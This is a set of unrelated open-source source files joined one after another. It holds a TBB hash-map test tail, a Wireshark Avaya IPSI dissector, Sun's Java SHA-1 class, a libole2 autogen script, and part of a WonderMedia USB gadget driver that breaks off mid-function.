std::weak_ptr<int> > wk_wk_t; std::list< wk_wk_t > arrWkWk; std::copy( arrShrShr.begin(), arrShrShr.end(), std::back_inserter(arrWkWk) ); TypeTester< /*default_construction_present = */true>( arrWkWk ); #else REPORT("Known issue: C++11 smart pointer tests are skipped.\n"); #endif /* __TBB_CPP11_SMART_POINTERS_PRESENT */ } #if __TBB_CPP11_RVALUE_REF_PRESENT #include "test_container_move_support.h" struct hash_map_move_traits : default_container_traits { enum{ expected_number_of_items_to_allocate_for_steal_move = 0 }; template<typename T> struct hash_compare { bool equal( const T& lhs, const T& rhs ) const { return lhs==rhs; } size_t hash( const T& k ) const { return tbb::tbb_hasher(k); } }; template<typename element_type, typename allocator_type> struct apply { typedef tbb::concurrent_hash_map<element_type, element_type, hash_compare<element_type>, allocator_type > type; }; typedef FooPairIterator init_iterator_type; template<typename hash_map_type, typename iterator> static bool equal(hash_map_type const& c, iterator begin, iterator end){ bool equal_sizes = ( static_cast<size_t>(std::distance(begin, end)) == c.size() ); if (!equal_sizes) return false; for (iterator it = begin; it != end; ++it ){ if (c.count( (*it).first) == 0){ return false; } } return true; } }; void TestMoveSupport(){ TestMoveConstructor<hash_map_move_traits>(); TestConstructorWithMoveIterators<hash_map_move_traits>(); TestMoveAssignOperator<hash_map_move_traits>(); #if TBB_USE_EXCEPTIONS TestExceptionSafetyGuaranteesMoveConstructorWithUnEqualAllocatorMemoryFailure<hash_map_move_traits>(); TestExceptionSafetyGuaranteesMoveConstructorWithUnEqualAllocatorExceptionInElementCtor<hash_map_move_traits>(); #else REPORT("Known issue: exception safety tests for C++11 move semantics support are skipped.\n"); #endif //TBB_USE_EXCEPTIONS } #else void TestMoveSupport(){ REPORT("Known issue: tests for C++11 move semantics support are skipped.\n"); } #endif //__TBB_CPP11_RVALUE_REF_PRESENT //------------------------------------------------------------------------ // Test driver //------------------------------------------------------------------------ int TestMain () { if( MinThread<0 ) { REPORT("ERROR: must use at least one thread\n"); exit(1); } if( MaxThread<2 ) MaxThread=2; // Do serial tests TestTypes(); TestCopy(); TestRehash(); TestAssignment(); TestIteratorsAndRanges(); #if __TBB_INITIALIZER_LISTS_PRESENT TestInitList(); #endif //__TBB_INITIALIZER_LISTS_PRESENT #if __TBB_RANGE_BASED_FOR_PRESENT TestRangeBasedFor(); #endif //#if __TBB_RANGE_BASED_FOR_PRESENT #if TBB_USE_EXCEPTIONS TestExceptions(); #endif /* TBB_USE_EXCEPTIONS */ TestMoveSupport(); { #if __TBB_CPP11_RVALUE_REF_PRESENT tbb::task_scheduler_init init( 1 ); int n=250000; { DataStateTrackedTable table; DoConcurrentOperations<RvalueInsert, DataStateTrackedTable>( table, n, "rvalue ref insert", 1 ); } #if __TBB_CPP11_VARIADIC_TEMPLATES_PRESENT { DataStateTrackedTable table; DoConcurrentOperations<Emplace, DataStateTrackedTable>( table, n, "emplace", 1 ); } #endif //__TBB_CPP11_VARIADIC_TEMPLATES_PRESENT #endif // __TBB_CPP11_RVALUE_REF_PRESENT } // Do concurrency tests. for( int nthread=MinThread; nthread<=MaxThread; ++nthread ) { tbb::task_scheduler_init init( nthread ); TestInsertFindErase( nthread ); TestConcurrency( nthread ); } // check linking if(bad_hashing) { //should be false tbb::internal::runtime_warning("none\nERROR: it must not be executed"); } TestCPP11Types(); return Harness::Done; }
wilkemeyer/intel-tbb
src/test/test_concurrent_hash_map.cpp
C++
gpl-2.0
53,476
/* packet-ipsi-ctl.c * Routines for Avaya IPSI Control packet disassembly * Traffic is encapsulated Avaya proprietary CCMS * (Control Channel Message Set) between PCD and SIM * * Copyright 2008, Randy McEoin <rmceoin@ahbelo.com> * * $Id$ * * Wireshark - Network traffic analyzer * By Gerald Combs <gerald@wireshark.org> * Copyright 1998 Gerald Combs * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H # include "config.h" #endif #include <glib.h> #include <epan/packet.h> #define IPSICTL_PORT 5010 #define IPSICTL_PDU_MAGIC 0x0300 static int proto_ipsictl = -1; static int hf_ipsictl_pdu = -1; static int hf_ipsictl_magic = -1; static int hf_ipsictl_length = -1; static int hf_ipsictl_type = -1; static int hf_ipsictl_sequence = -1; static int hf_ipsictl_field1 = -1; static int hf_ipsictl_data = -1; static gint ett_ipsictl = -1; static gint ett_ipsictl_pdu = -1; static void dissect_ipsictl(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree) { proto_tree *ipsictl_tree = NULL; proto_tree *pdu_tree = NULL; proto_item *ti; int offset = 0; int loffset = 0; int llength = 0; int remaining_length; guint16 magic; guint16 length; guint16 type=0; guint16 sequence=0; int first_sequence=-1; int last_sequence=-1; guint16 field1=0; guint16 pdu=0; int haspdus=0; remaining_length=tvb_reported_length_remaining(tvb, offset); if (tree) { ti = proto_tree_add_item(tree, proto_ipsictl, tvb, offset, remaining_length, ENC_NA); ipsictl_tree = proto_item_add_subtree(ti, ett_ipsictl); } magic = tvb_get_ntohs(tvb, offset); if (magic == IPSICTL_PDU_MAGIC) { haspdus=1; } while (haspdus && ((remaining_length=tvb_reported_length_remaining(tvb, offset)) > 6)) { loffset = offset; magic = tvb_get_ntohs(tvb, loffset); loffset+=2; length = tvb_get_ntohs(tvb, loffset); loffset+=2; llength=length; remaining_length-=4; if (remaining_length>=2) { type = tvb_get_ntohs(tvb, loffset); loffset+=2; remaining_length-=2; llength-=2; } if (remaining_length>=2) { sequence = tvb_get_ntohs(tvb, loffset); loffset+=2; remaining_length-=2; llength-=2; if (first_sequence==-1) { first_sequence=sequence; }else{ last_sequence=sequence; } } if (remaining_length>=2) { field1 = tvb_get_ntohs(tvb, loffset); loffset+=2; remaining_length-=2; llength-=2; } if (tree) { ti = proto_tree_add_uint_format(ipsictl_tree, hf_ipsictl_pdu, tvb, offset, (length+4), pdu, "PDU: %d", pdu); pdu_tree = proto_item_add_subtree(ti, ett_ipsictl_pdu); } loffset=offset; remaining_length=tvb_reported_length_remaining(tvb, offset); if (tree) { proto_tree_add_uint(pdu_tree, hf_ipsictl_magic, tvb, loffset, 2, magic); } loffset+=2; remaining_length-=2; if (tree) { proto_tree_add_uint(pdu_tree, hf_ipsictl_length, tvb, loffset, 2, length); } loffset+=2; remaining_length-=2; if (remaining_length>=2) { if (tree) { proto_tree_add_uint(pdu_tree, hf_ipsictl_type, tvb, loffset, 2, type); } loffset+=2; remaining_length-=2; } if (remaining_length>=2) { if (tree) { proto_tree_add_uint(pdu_tree, hf_ipsictl_sequence, tvb, loffset, 2, sequence); } loffset+=2; remaining_length-=2; } if (remaining_length>=2) { if (tree) { proto_tree_add_uint(pdu_tree, hf_ipsictl_field1, tvb, loffset, 2, field1); } loffset+=2; remaining_length-=2; } if (remaining_length>=2) { if (tree) { proto_tree_add_item(pdu_tree, hf_ipsictl_data, tvb, loffset, llength, ENC_NA); } loffset+=llength; remaining_length-=llength; } offset=loffset; pdu++; } if (!haspdus) { if (tree) { proto_tree_add_item(ipsictl_tree, hf_ipsictl_data, tvb, offset, -1, ENC_NA); } } col_set_str(pinfo->cinfo, COL_PROTOCOL, "IPSICTL"); if (haspdus) { if (check_col(pinfo->cinfo, COL_INFO)) { if (last_sequence==-1) { col_add_fstr(pinfo->cinfo, COL_INFO, "PDUS=%d, Seq=0x%04x", pdu,first_sequence); }else{ col_add_fstr(pinfo->cinfo, COL_INFO, "PDUS=%d, Seq=0x%04x-0x%04x", pdu,first_sequence,last_sequence); } } }else{ col_set_str(pinfo->cinfo, COL_INFO, "Initialization"); } } /* dissect_ipsictl */ void proto_register_ipsictl(void) { static hf_register_info hf[] = { { &hf_ipsictl_pdu, { "PDU", "ipsictl.pdu", FT_UINT16, BASE_HEX, NULL, 0x0, "IPSICTL PDU", HFILL }}, { &hf_ipsictl_magic, { "Magic", "ipsictl.magic", FT_UINT16, BASE_HEX, NULL, 0x0, "IPSICTL Magic", HFILL }}, { &hf_ipsictl_length, { "Length", "ipsictl.length", FT_UINT16, BASE_HEX, NULL, 0x0, "IPSICTL Length", HFILL }}, { &hf_ipsictl_type, { "Type", "ipsictl.type", FT_UINT16, BASE_HEX, NULL, 0x0, "IPSICTL Type", HFILL }}, { &hf_ipsictl_sequence, { "Sequence", "ipsictl.sequence", FT_UINT16, BASE_HEX, NULL, 0x0, "IPSICTL Sequence", HFILL }}, { &hf_ipsictl_field1, { "Field1", "ipsictl.field1", FT_UINT16, BASE_HEX, NULL, 0x0, "IPSICTL Field1", HFILL }}, { &hf_ipsictl_data, { "Data", "ipsictl.data", FT_BYTES, BASE_NONE, NULL, 0x0, "IPSICTL data", HFILL }}, }; static gint *ett[] = { &ett_ipsictl, &ett_ipsictl_pdu }; proto_ipsictl = proto_register_protocol("IPSICTL", "IPSICTL", "ipsictl"); proto_register_field_array(proto_ipsictl, hf, array_length(hf)); proto_register_subtree_array(ett, array_length(ett)); } void proto_reg_handoff_ipsictl(void) { dissector_handle_t ipsictl_handle = NULL; ipsictl_handle = create_dissector_handle(dissect_ipsictl, proto_ipsictl); dissector_add_uint("tcp.port", IPSICTL_PORT, ipsictl_handle); }
hb9cwp/wireshark-jdsu
epan/dissectors/packet-ipsi-ctl.c
C
gpl-2.0
6,733
/* * Copyright 1996-2006 Sun Microsystems, Inc. All Rights Reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Sun designates this * particular file as subject to the "Classpath" exception as provided * by Sun in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara, * CA 95054 USA or visit www.sun.com if you need additional information or * have any questions. */ package sun.security.provider; import static sun.security.provider.ByteArrayAccess.*; /** * This class implements the Secure Hash Algorithm (SHA) developed by * the National Institute of Standards and Technology along with the * National Security Agency. This is the updated version of SHA * fip-180 as superseded by fip-180-1. * * <p>It implement JavaSecurity MessageDigest, and can be used by in * the Java Security framework, as a pluggable implementation, as a * filter for the digest stream classes. * * @author Roger Riggs * @author Benjamin Renaud * @author Andreas Sterbenz */ public final class SHA extends DigestBase { // Buffer of int's and count of characters accumulated // 64 bytes are included in each hash block so the low order // bits of count are used to know how to pack the bytes into ints // and to know when to compute the block and start the next one. private final int[] W; // state of this private final int[] state; /** * Creates a new SHA object. */ public SHA() { super("SHA-1", 20, 64); state = new int[5]; W = new int[80]; implReset(); } /** * Creates a SHA object.with state (for cloning) */ private SHA(SHA base) { super(base); this.state = base.state.clone(); this.W = new int[80]; } /* * Clones this object. */ public Object clone() { return new SHA(this); } /** * Resets the buffers and hash value to start a new hash. */ void implReset() { state[0] = 0x67452301; state[1] = 0xefcdab89; state[2] = 0x98badcfe; state[3] = 0x10325476; state[4] = 0xc3d2e1f0; } /** * Computes the final hash and copies the 20 bytes to the output array. */ void implDigest(byte[] out, int ofs) { long bitsProcessed = bytesProcessed << 3; int index = (int)bytesProcessed & 0x3f; int padLen = (index < 56) ? (56 - index) : (120 - index); engineUpdate(padding, 0, padLen); i2bBig4((int)(bitsProcessed >>> 32), buffer, 56); i2bBig4((int)bitsProcessed, buffer, 60); implCompress(buffer, 0); i2bBig(state, 0, out, ofs, 20); } // Constants for each round private final static int round1_kt = 0x5a827999; private final static int round2_kt = 0x6ed9eba1; private final static int round3_kt = 0x8f1bbcdc; private final static int round4_kt = 0xca62c1d6; /** * Compute a the hash for the current block. * * This is in the same vein as Peter Gutmann's algorithm listed in * the back of Applied Cryptography, Compact implementation of * "old" NIST Secure Hash Algorithm. */ void implCompress(byte[] buf, int ofs) { b2iBig64(buf, ofs, W); // The first 16 ints have the byte stream, compute the rest of // the buffer for (int t = 16; t <= 79; t++) { int temp = W[t-3] ^ W[t-8] ^ W[t-14] ^ W[t-16]; W[t] = (temp << 1) | (temp >>> 31); } int a = state[0]; int b = state[1]; int c = state[2]; int d = state[3]; int e = state[4]; // Round 1 for (int i = 0; i < 20; i++) { int temp = ((a<<5) | (a>>>(32-5))) + ((b&c)|((~b)&d))+ e + W[i] + round1_kt; e = d; d = c; c = ((b<<30) | (b>>>(32-30))); b = a; a = temp; } // Round 2 for (int i = 20; i < 40; i++) { int temp = ((a<<5) | (a>>>(32-5))) + (b ^ c ^ d) + e + W[i] + round2_kt; e = d; d = c; c = ((b<<30) | (b>>>(32-30))); b = a; a = temp; } // Round 3 for (int i = 40; i < 60; i++) { int temp = ((a<<5) | (a>>>(32-5))) + ((b&c)|(b&d)|(c&d)) + e + W[i] + round3_kt; e = d; d = c; c = ((b<<30) | (b>>>(32-30))); b = a; a = temp; } // Round 4 for (int i = 60; i < 80; i++) { int temp = ((a<<5) | (a>>>(32-5))) + (b ^ c ^ d) + e + W[i] + round4_kt; e = d; d = c; c = ((b<<30) | (b>>>(32-30))); b = a; a = temp; } state[0] += a; state[1] += b; state[2] += c; state[3] += d; state[4] += e; } }
neelance/jre4ruby
jre4ruby/src/share/sun/security/provider/SHA.java
Java
gpl-2.0
5,748
#!/bin/sh # Run this to generate all the initial makefiles, etc. srcdir=`dirname $0` test -z "$srcdir" && srcdir=. PKG_NAME="libole2" (test -f $srcdir/configure.in \ && test -d $srcdir/libole2 \ && test -f $srcdir/libole2/ms-ole.h) || { echo -n "**Error**: Directory "\`$srcdir\'" does not look like the" echo " top-level libole2 directory" exit 1 } if libtool --version >/dev/null 2>&1; then vers=`libtool --version | sed -e "s/^[^0-9]*//" -e "s/ .*$//" | awk 'BEGIN { FS = "."; } { printf "%d", ($1 * 1000 + $2) * 1000 + $3;}'` if test "$vers" -ge 1003003; then true else echo "Please upgrade your libtool to version 1.3.3 or better." 1>&2 exit 1 fi fi ifs_save="$IFS"; IFS=":" for dir in $PATH ; do test -z "$dir" && dir=. if test -f $dir/gnome-autogen.sh ; then gnome_autogen="$dir/gnome-autogen.sh" gnome_datadir=`echo $dir | sed -e 's,/bin$,/share,'` break fi done IFS="$ifs_save" if test -z "$gnome_autogen" ; then echo "You need to install the gnome-common module and make" echo "sure the gnome-autogen.sh script is in your \$PATH." exit 1 fi GNOME_DATADIR="$gnome_datadir" USE_GNOME2_MACROS=1 . $gnome_autogen
siq-legacy/libole2
autogen.sh
Shell
gpl-2.0
1,206
/* * wmt_udc.c -- for WonderMedia Technology udc * * Copyright (C) 2007 VIA Technologies, Inc. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. */ #undef DEBUG #undef VERBOSE #include <generated/autoconf.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/ioport.h> #include <linux/types.h> #include <linux/errno.h> #include <linux/delay.h> #include <linux/sched.h> #include <linux/slab.h> #include <linux/init.h> #include <linux/timer.h> #include <linux/list.h> #include <linux/interrupt.h> #include <linux/proc_fs.h> #include <linux/mm.h> #include <linux/moduleparam.h> #include <linux/device.h> #include <linux/usb/ch9.h> #include <linux/usb/gadget.h> #include <linux/usb/otg.h> #include <linux/dma-mapping.h> #include <linux/platform_device.h> #include <linux/string.h> #include <linux/suspend.h> #include <asm/byteorder.h> #include <asm/io.h> #include <asm/irq.h> #include <asm/system.h> #include <asm/unaligned.h> #include <asm/mach-types.h> #include <linux/usb/composite.h> #include "udc_wmt.h" #define USE_BULK3_TO_INTERRUPT //gri //#define FULL_SPEED_ONLY /*#define HW_BUG_HIGH_SPEED_PHY*/ #undef USB_TRACE /* bulk DMA seems to be behaving for both IN and OUT */ #define USE_DMA /*#define DEBUG_UDC_ISR_TIMER*/ #undef DEBUG_UDC_ISR_TIMER /*#define RNDIS_INFO_DEBUG_BULK_OUT*/ #undef RNDIS_INFO_DEBUG_BULK_OUT /*#define RNDIS_INFO_DEBUG_BULK_IN*/ #undef RNDIS_INFO_DEBUG_BULK_IN /*#define MSC_COMPLIANCE_TEST*/ #undef MSC_COMPLIANCE_TEST /*#define UDC_A1_SELF_POWER_ENABLE*/ /*-----------------------------------------------------------------------------*/ #define DRIVER_DESC "VIA UDC driver" #define DRIVER_VERSION "3 December 2007" #define DMA_ADDR_INVALID (~(dma_addr_t)0) static unsigned fifo_mode; static unsigned fiq_using = 0; /* "modprobe vt8500_udc fifo_mode=42", or else as a kernel * boot parameter "vt8500_udc:fifo_mode=42" */ module_param(fifo_mode, uint, 0); MODULE_PARM_DESC(fifo_mode, "endpoint setup (0 == default)"); static bool use_dma = 1; module_param(use_dma, bool, 0); MODULE_PARM_DESC(use_dma, "enable/disable DMA"); static const char driver_name[] = "wmotgdev";/*"wmt_udc";*/ static const char driver_desc[] = DRIVER_DESC; static DEFINE_SEMAPHORE(wmt_udc_sem); static int f_ep3_used = 0; static struct vt8500_udc *udc; static struct device *pDMADescLI, *pDMADescSI; static struct device *pDMADescLO, *pDMADescSO; static struct device *pDMADescL2I, *pDMADescS2I; dma_addr_t UdcPdmaPhyAddrLI, UdcPdmaPhyAddrSI; static UINT UdcPdmaVirAddrLI, UdcPdmaVirAddrSI; dma_addr_t UdcPdmaPhyAddrLO, UdcPdmaPhyAddrSO; static UINT UdcPdmaVirAddrLO, UdcPdmaVirAddrSO; dma_addr_t UdcPdmaPhyAddrL2I, UdcPdmaPhyAddrS2I; static UINT UdcPdmaVirAddrL2I, UdcPdmaVirAddrS2I; dma_addr_t UdcRndisEp1PhyAddr, UdcRndisEp2PhyAddr, UdcRndisEp3PhyAddr; static UINT UdcRndisEp1VirAddr, UdcRndisEp2VirAddr, UdcRndisEp3VirAddr; #ifdef OTGIP static struct USB_GLOBAL_REG *pGlobalReg; #endif /*static struct UDC_REGISTER *udc_reg;*/ static volatile struct UDC_REGISTER *pDevReg; static volatile struct UDC_DMA_REG *pUdcDmaReg; PSETUPCOMMAND pSetupCommand; UCHAR *pSetupCommandBuf; UCHAR *SetupBuf; UCHAR *IntBuf; UCHAR ControlState; /* the state the control pipe*/ UCHAR USBState; UCHAR TestMode; /* Basic Define*/ //#define REG32 *(volatile unsigned int *) //#define REG_GET32(addr) (REG32(addr)) /* Read 32 bits Register */ static unsigned long irq_flags;//gri volatile unsigned char *pUSBMiscControlRegister5; unsigned int interrupt_transfer_size; static void wmt_pdma_reset(void); static void wmt_pdma0_reset(void); static void wmt_pdma1_reset(void); #ifdef USE_BULK3_TO_INTERRUPT static void wmt_pdma2_reset(void); #endif /* 1 : storage */ static unsigned int gadget_connect=0; //static unsigned int first_mount=0; struct work_struct online_thread; struct work_struct offline_thread; struct work_struct done_thread; struct work_struct chkiso_thread; struct list_head done_main_list; spinlock_t gri_lock; static unsigned long gri_flags;//gri static unsigned int b_pullup=0; void run_chkiso (struct work_struct *work); static inline unsigned int wmt_ost_counter(void) { OSTC_VAL |= OSTC_RDREQ; while (OSTA_VAL & OSTA_RCA) ; return (u32)OSCR_VAL; } static inline void wmt_ost2_set_match(u32 new_match) { /* check if can write OS Timer2 match register nows */ while (OSTA_VAL & OSTA_MWA2) ; OSM2_VAL = new_match; } void wmt_enable_fiq(unsigned int how_many_us) { unsigned int cnt = 0; cnt = wmt_ost_counter(); cnt += (3*how_many_us); wmt_ost2_set_match(cnt); OSTI_VAL |= OSTI_E2; } void wmt_disable_fiq(void) { OSTI_VAL &= ~OSTI_E2; } static irqreturn_t test_fiq_handler(int irq, void *_udc)//, struct pt_regs *r) { OSTS_VAL = OSTI_E2; //printk("i am test_fiq_handler\n"); run_chkiso(NULL); return IRQ_HANDLED; } void initial_test_fiq(void) { //int ret = -1; int status = -ENODEV; printk("\n\n\ninitial_test_fiq\n\n"); // set fiq OSTS_VAL = OSTI_E2; OSTI_VAL &= ~OSTI_E2; #if 0 fhandler.fiq = test_fiq_handler; fhandler.resume = test_fiq_resume; ret = fiq_wmt_register_handler(&fhandler); if (ret) { pr_err("%s: could not install fiq handler ( %d )\n", __func__, ret); return; } //use OST2 to test enable_fiq(70); #else status = request_irq(IRQ_OST2, test_fiq_handler, // (SA_INTERRUPT | SA_SHIRQ | SA_SAMPLE_RANDOM), driver_name, udc); // (IRQF_DISABLED | IRQF_SHARED | IRQF_SAMPLE_RANDOM), driver_name, udc); (IRQF_DISABLED), driver_name, udc);//gri if (status != 0) { ERR("**** can't get irq %d, err %d\n", IRQ_OST2, status); } else INFO("**** wmt_udc_probe - request_irq(0x%02X) pass!\n", IRQ_OST2); #endif } /** * * Run these two functions to execute shell script to mount / umount storage * */ #if 0 static int run_online(void) { kobject_uevent(&udc->dev->kobj, 2); return 0; } #endif void wmt_cleanup_done_thread(int number); static void run_offline (struct work_struct *work) { if ((udc->driver) && b_pullup){ // printk(KERN_INFO "disconnect\n"); //gri udc->driver->disconnect(&udc->gadget); } // return 0; } static void run_done (struct work_struct *work) { struct vt8500_req * req; spin_lock_irqsave(&gri_lock, gri_flags); // printk(KERN_INFO "d1\n"); //gri while (!list_empty(&done_main_list)){ // printk(KERN_INFO "d3\n"); //gri req = list_entry(done_main_list.next, struct vt8500_req, mem_list); list_del_init(&req->mem_list); spin_unlock_irqrestore(&gri_lock, gri_flags); req->req.complete(&req->ep->ep, &req->req); spin_lock_irqsave(&gri_lock, gri_flags); } // printk(KERN_INFO "d2\n"); //gri spin_unlock_irqrestore(&gri_lock, gri_flags); // return 0; } void dma_irq(u8 addr); void next_in_dma(struct vt8500_ep *ep, struct vt8500_req *req); void iso_prepare_0byte(void); void run_chkiso (struct work_struct *work) { spin_lock_irqsave(&udc->lock, irq_flags); if (!fiq_using) { //printk("iso fail\n"); spin_unlock_irqrestore(&udc->lock, irq_flags); return; } //do { //schedule(); if (pDevReg->Bulk3DesStatus & BULKXFER_XACTERR) { { struct vt8500_ep *ep; struct vt8500_req *req; /*u32 temp32;*/ /*u32 i;*/ ep = &udc->ep[4]; if (!list_empty(&ep->queue)) { req = container_of(ep->queue.next, struct vt8500_req, queue); //printk("iso h q\n"); next_in_dma(ep, req); } else { //printk("no q\n"); wmt_disable_fiq(); fiq_using = 0; wmt_pdma2_reset(); iso_prepare_0byte(); } } //printk("iso hit\n"); //break; } else { wmt_enable_fiq(300); //printk("iso hit miss\n"); } //} while (1); spin_unlock_irqrestore(&udc->lock, irq_flags); } enum schedule_work_action { action_done, action_off_line, action_chkiso }; static void run_script(enum schedule_work_action dwAction) { if (dwAction == action_done){//8 schedule_work(&done_thread); }else if (dwAction == action_off_line){//7 schedule_work(&offline_thread); }else if (dwAction == action_chkiso){//7 schedule_work(&chkiso_thread); }else { } } void udc_device_dump_register(void) { volatile unsigned int address; volatile unsigned char temp8; int i; for (i = 0x20; i <= 0x3F; i++) { /*0x20~0x3F (0x3F-0x20 + 1) /4 = 8 DWORD*/ address = (USB_UDC_REG_BASE + i); temp8 = REG_GET8(address); INFO("[UDC Device] Offset[0x%8.8X] = 0x%2.2X \n", address, temp8); } for (i = 0x308; i <= 0x30D; i++) { /*0x308~0x30D*/ address = (USB_UDC_REG_BASE + i); temp8 = REG_GET8(address); INFO("[UDC Device] Offset[0x%8.8X] = 0x%2.2X \n", address, temp8); } for (i = 0x310; i <= 0x317; i++) { /*0x310~0x317*/ address = (USB_UDC_REG_BASE + i); temp8 = REG_GET8(address); INFO("[UDC Device] Offset[0x%8.8X] = 0x%2.2X \n", address, temp8); } INFO("[UDC Device] Dump Reigster PASS!\n"); } /*void udc_device_dump_register(void)*/ void udc_bulk_dma_dump_register(void) { volatile unsigned int temp32; int i; for (i = 0; i <= 0x10; i++) { /*0x100 ~ 0x113 (0x113 - 0x100 + 1) = 0x14 /4 = 5*/ temp32 = REG_GET32(USB_UDC_DMA_REG_BASE + i*4); INFO("[UDC Bulk DMA] Offset[0x%8.8X] = 0x%8.8X \n", (USB_UDC_DMA_REG_BASE + i*4), temp32); } INFO("[UDC Bulk DMAD] Dump Reigster PASS!\n"); } /*void udc_bulk_dma_dump_register(void)*/ void wmt_ep_setup_csr(char *name, u8 addr, u8 type, unsigned maxp) { struct vt8500_ep *ep; /*u32 epn_rxtx = 0;*/ /*U8 temp_adr;*/ VDBG("wmt_ep_setup_csr()\n"); /* OUT endpoints first, then IN*/ ep = &udc->ep[addr & 0x7f]; VDBG("wmt_ep_setup()\n"); /* OUT endpoints first, then IN*/ ep = &udc->ep[addr & 0x7f]; if (type == USB_ENDPOINT_XFER_CONTROL) { /*pDevReg->ControlEpControl;*/ pDevReg->ControlEpReserved = 0; pDevReg->ControlEpMaxLen = (maxp & 0xFF); pDevReg->ControlEpEpNum = 0; } else if (type == USB_ENDPOINT_XFER_BULK) { if (addr & USB_DIR_IN) { /*pDevReg->Bulk1EpControl;*/ pDevReg->Bulk1EpOutEpNum = (addr & 0x7f) << 4; pDevReg->Bulk1EpMaxLen = (maxp & 0xFF); pDevReg->Bulk1EpInEpNum = (((addr & 0x7f) << 4) | ((maxp & 0x700) >> 8)); } else { /*pDevReg->Bulk2EpControl;*/ pDevReg->Bulk2EpOutEpNum = (addr & 0x7f) << 4; pDevReg->Bulk2EpMaxLen = (maxp & 0xFF); pDevReg->Bulk2EpInEpNum = (((addr & 0x7f) << 4) | ((maxp & 0x700) >> 8)); } } else if (type == USB_ENDPOINT_XFER_INT) { #ifdef USE_BULK3_TO_INTERRUPT pDevReg->Bulk3EpOutEpNum = (addr & 0x7f) << 4; pDevReg->Bulk3EpMaxLen = (maxp & 0xFF); pDevReg->Bulk3EpInEpNum = (((addr & 0x7f) << 4) | ((maxp & 0x700) >> 8)); pDevReg->InterruptReserved = (0x85 & 0x7f) << 4; pDevReg->InterruptEpMaxLen = (8 & 0xFF); /* Interrupt maximum transfer length - 2E*/ pDevReg->InterruptEpEpNum = (((0x85 & 0x7f) << 4) | ((8 & 0x700) >> 8)); #else /*pDevReg->InterruptEpControl; // Interrupt endpoint control - 2C*/ /* Interrupt endpoint reserved byte - 2D*/ pDevReg->InterruptReserved = (addr & 0x7f) << 4; pDevReg->InterruptEpMaxLen = (maxp & 0xFF); /* Interrupt maximum transfer length - 2E*/ pDevReg->InterruptEpEpNum = (((addr & 0x7f) << 4) | ((maxp & 0x700) >> 8)); #endif } else if (type == USB_ENDPOINT_XFER_ISOC) { pDevReg->Bulk3EpOutEpNum = (addr & 0x7f) << 4; pDevReg->Bulk3EpMaxLen = (maxp & 0xFF); pDevReg->Bulk3EpInEpNum = (((addr & 0x7f) << 4) | ((maxp & 0x700) >> 8)); } /*Setting address pointer ...*/ wmb(); VDBG("wmt_ep_setup_csr() - %s addr %02x maxp %d\n", name, addr, maxp); ep->toggle_bit = 0; ep->ep.maxpacket = maxp; } /*tatic void wmt_ep_setup_csr()*/ static int wmt_ep_enable(struct usb_ep *_ep, const struct usb_endpoint_descriptor *desc) { struct vt8500_ep *ep = container_of(_ep, struct vt8500_ep, ep); struct vt8500_udc *udc; u16 maxp; DBG("wmt_ep_enable() %s\n", ep ? ep->ep.name : NULL); printk(KERN_INFO "gri wmt_ep_enable() %s\n", ep ? ep->ep.name : NULL); /* catch various bogus parameters*/ if (!_ep || !desc || (ep->desc && ((desc->bmAttributes & USB_ENDPOINT_XFERTYPE_MASK) != USB_ENDPOINT_XFER_ISOC)) || desc->bDescriptorType != USB_DT_ENDPOINT || ep->bEndpointAddress != desc->bEndpointAddress || ep->maxpacket < usb_endpoint_maxp(desc)) { VDBG("ep->bEndpointAddress = 0x%08X\n", ep->bEndpointAddress); VDBG("desc->bEndpointAddres = 0x%08X\n", desc->bEndpointAddress); VDBG("ep->maxpacket =0x%08X\n", ep->maxpacket); VDBG("desc->wMaxPacketSize =0x%08X\n", desc->wMaxPacketSize); VDBG("_ep =0x%08X\n", (unsigned int)_ep); VDBG("desc =0x%08X\n", (unsigned int)desc); VDBG("ep->desc =0x%08X\n", (unsigned int)ep->desc); /*DBG("%s, bad ep or descriptor\n", __FUNCTION__);*/ return -EINVAL; } maxp = usb_endpoint_maxp(desc); if ((desc->bmAttributes == USB_ENDPOINT_XFER_BULK) && (usb_endpoint_maxp(desc) > ep->maxpacket || !desc->wMaxPacketSize)) { DBG("[wmt_ep_enable]bad %s maxpacket\n", _ep->name); return -ERANGE; } #if 1 if ((desc->bmAttributes == USB_ENDPOINT_XFER_ISOC && desc->bInterval != 1)) { /* hardware wants period = 1; USB allows 2^(Interval-1) */ DBG("%s, unsupported ISO period %dms\n", _ep->name, 1 << (desc->bInterval - 1)); return -EDOM; } #if 0 /* xfer types must match, except that interrupt ~= bulk*/ if (ep->bmAttributes != desc->bmAttributes && ep->bmAttributes != USB_ENDPOINT_XFER_BULK && desc->bmAttributes != USB_ENDPOINT_XFER_INT) { DBG("[wmt_ep_enable], %s type mismatch\n", _ep->name); printk("[wmt_ep_enable], %s type mismatch\n", _ep->name); return -EINVAL; } #endif #endif udc = ep->udc; spin_lock_irqsave(&udc->lock, irq_flags); ep->desc = desc; ep->irqs = 0; ep->stopped = 0; ep->ep.maxpacket = maxp; ep->has_dma = 1; 